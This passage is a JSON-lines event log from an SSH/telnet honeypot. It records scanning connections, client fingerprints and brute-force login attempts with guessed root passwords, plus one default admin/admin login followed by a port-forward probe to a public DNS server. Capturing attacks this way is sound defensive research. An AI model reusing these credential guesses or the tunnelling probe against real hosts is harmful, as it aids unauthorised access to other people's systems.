f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:03.854901Z","src_ip":"177.234.174.18","session":"507e257565bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:05.228823Z","src_ip":"177.234.174.18","session":"507e257565bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:06.378662Z","src_ip":"177.234.174.18","session":"507e257565bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00275349617004,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:15.107374Z","src_ip":"43.248.59.254","session":"59dc41bc8a5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00415420532227,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:18.229321Z","src_ip":"43.248.59.254","session":"88d1323dde0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.248.59.254","src_port":44500,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e8de58d95b8","protocol":"telnet","message":"New connection: 43.248.59.254:44500 (159.203.135.109:23) [session: 4e8de58d95b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:19.597721Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":56064,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d300ceea09","protocol":"telnet","message":"New connection: 167.71.238.254:56064 (10.17.0.5:23) [session: 47d300ceea09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:28.352714Z"}
{"eventid":"cowrie.session.closed","duration":18.91202998161316,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:47.264621Z","src_ip":"167.71.238.254","session":"47d300ceea09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":46956,"dst_ip":"10.17.0.5","dst_port":23,"session":"8342b018a4da","protocol":"telnet","message":"New connection: 167.71.238.254:46956 (10.17.0.5:23) [session: 8342b018a4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:26:17.685253Z"}
{"eventid":"cowrie.session.closed","duration":120.01936888694763,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:26:35.997587Z","src_ip":"89.243.29.180","session":"f993c49ab5b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"341a5b838797","protocol":"telnet","message":"New connection: 89.243.29.180:57740 (10.17.0.5:23) [session: 341a5b838797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:26:37.944058Z"}
{"eventid":"cowrie.session.closed","duration":21.917746543884277,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:26:39.602885Z","src_ip":"167.71.238.254","session":"8342b018a4da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0028305053711,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:26:43.896349Z","src_ip":"38.41.2.225","session":"98319d7aac77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":50344,"dst_ip":"10.17.0.5","dst_port":23,"session":"12e24871016f","protocol":"telnet","message":"New connection: 38.41.2.225:50344 (10.17.0.5:23) [session: 12e24871016f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:26:46.327562Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.226.19","src_port":37438,"dst_ip":"10.17.0.5","dst_port":23,"session":"69368ec49afc","protocol":"telnet","message":"New connection: 185.242.226.19:37438 (10.17.0.5:23) [session: 69368ec49afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:26:48.242553Z"}
{"eventid":"cowrie.session.closed","duration":9.917432069778442,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:26:58.159884Z","src_ip":"185.242.226.19","session":"69368ec49afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":37344,"dst_ip":"10.17.0.5","dst_port":22,"session":"60196db03f2b","protocol":"ssh","message":"New connection: 177.234.174.18:37344 (10.17.0.5:22) [session: 60196db03f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:27:07.952603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:27:07.957935Z","src_ip":"177.234.174.18","session":"60196db03f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:27:08.095840Z","src_ip":"177.234.174.18","session":"60196db03f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"frankie","message":"login attempt [root/frankie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:27:09.068532Z","src_ip":"177.234.174.18","session":"60196db03f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:27:11.719292Z","src_ip":"177.234.174.18","session":"60196db03f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00334215164185,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:27:19.600678Z","src_ip":"43.248.59.254","session":"4e8de58d95b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":52738,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfd67cdb2d2","protocol":"ssh","message":"New connection: 152.32.172.177:52738 (10.17.0.5:22) [session: 7cfd67cdb2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:03.960567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:03.969786Z","src_ip":"152.32.172.177","session":"7cfd67cdb2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:04.190900Z","src_ip":"152.32.172.177","session":"7cfd67cdb2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nick","message":"login attempt [root/nick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:05.107367Z","src_ip":"152.32.172.177","session":"7cfd67cdb2d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:06.332707Z","src_ip":"152.32.172.177","session":"7cfd67cdb2d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":51312,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aacc70d1f7f","protocol":"ssh","message":"New connection: 36.91.81.195:51312 (159.203.135.109:22) [session: 6aacc70d1f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:14.681996Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:14.689671Z","src_ip":"36.91.81.195","session":"6aacc70d1f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0026502609253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:37.946580Z","src_ip":"89.243.29.180","session":"341a5b838797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00358390808105,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:46.331014Z","src_ip":"38.41.2.225","session":"12e24871016f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":60048,"dst_ip":"10.17.0.5","dst_port":23,"session":"52fa51507392","protocol":"telnet","message":"New connection: 38.41.2.225:60048 (10.17.0.5:23) [session: 52fa51507392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:28:53.516032Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14580,"dst_ip":"10.17.0.5","dst_port":22,"session":"9644ca28c514","protocol":"ssh","message":"New connection: 87.251.64.176:14580 (10.17.0.5:22) [session: 9644ca28c514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:15.851935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:15.860102Z","src_ip":"87.251.64.176","session":"9644ca28c514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:15.959442Z","src_ip":"87.251.64.176","session":"9644ca28c514","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:16.260942Z","src_ip":"87.251.64.176","session":"9644ca28c514","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:16.363679Z","session":"9644ca28c514","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:16.466007Z","src_ip":"87.251.64.176","session":"9644ca28c514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:16.568388Z","src_ip":"87.251.64.176","session":"9644ca28c514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.159.179","src_port":58722,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdff8437966c","protocol":"telnet","message":"New connection: 8.222.159.179:58722 (159.203.135.109:23) [session: cdff8437966c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:18.851836Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":35664,"dst_ip":"10.17.0.5","dst_port":22,"session":"053ef6d71a3e","protocol":"ssh","message":"New connection: 177.234.174.18:35664 (10.17.0.5:22) [session: 053ef6d71a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:23.859204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:23.863476Z","src_ip":"177.234.174.18","session":"053ef6d71a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:24.002138Z","src_ip":"177.234.174.18","session":"053ef6d71a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"st123456","message":"login attempt [root/st123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:24.587092Z","src_ip":"177.234.174.18","session":"053ef6d71a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:25.728982Z","src_ip":"177.234.174.18","session":"053ef6d71a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":52652,"dst_ip":"10.17.0.5","dst_port":23,"session":"537c5e3ec38c","protocol":"telnet","message":"New connection: 167.71.238.254:52652 (10.17.0.5:23) [session: 537c5e3ec38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:46.314510Z"}
{"eventid":"cowrie.session.closed","duration":30.528928995132446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:29:49.380649Z","src_ip":"8.222.159.179","session":"cdff8437966c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":46761,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c4faef871cf","protocol":"ssh","message":"New connection: 27.74.248.52:46761 (10.17.0.5:22) [session: 9c4faef871cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:10.852664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:10.858065Z","src_ip":"27.74.248.52","session":"9c4faef871cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:11.363758Z","src_ip":"27.74.248.52","session":"9c4faef871cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:12.746884Z","src_ip":"27.74.248.52","session":"9c4faef871cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:14.209763Z","src_ip":"27.74.248.52","session":"9c4faef871cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca34768b530","protocol":"telnet","message":"New connection: 49.88.156.34:44162 (10.17.0.5:23) [session: 2ca34768b530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:15.483063Z"}
{"eventid":"cowrie.session.closed","duration":120.00941491127014,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:53.525346Z","src_ip":"38.41.2.225","session":"52fa51507392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef92c94cf0a","protocol":"telnet","message":"New connection: 38.41.2.225:43124 (10.17.0.5:23) [session: cef92c94cf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:56.004035Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":43276,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d11fa6b1b06","protocol":"telnet","message":"New connection: 38.41.2.225:43276 (10.17.0.5:23) [session: 1d11fa6b1b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:30:58.007179Z"}
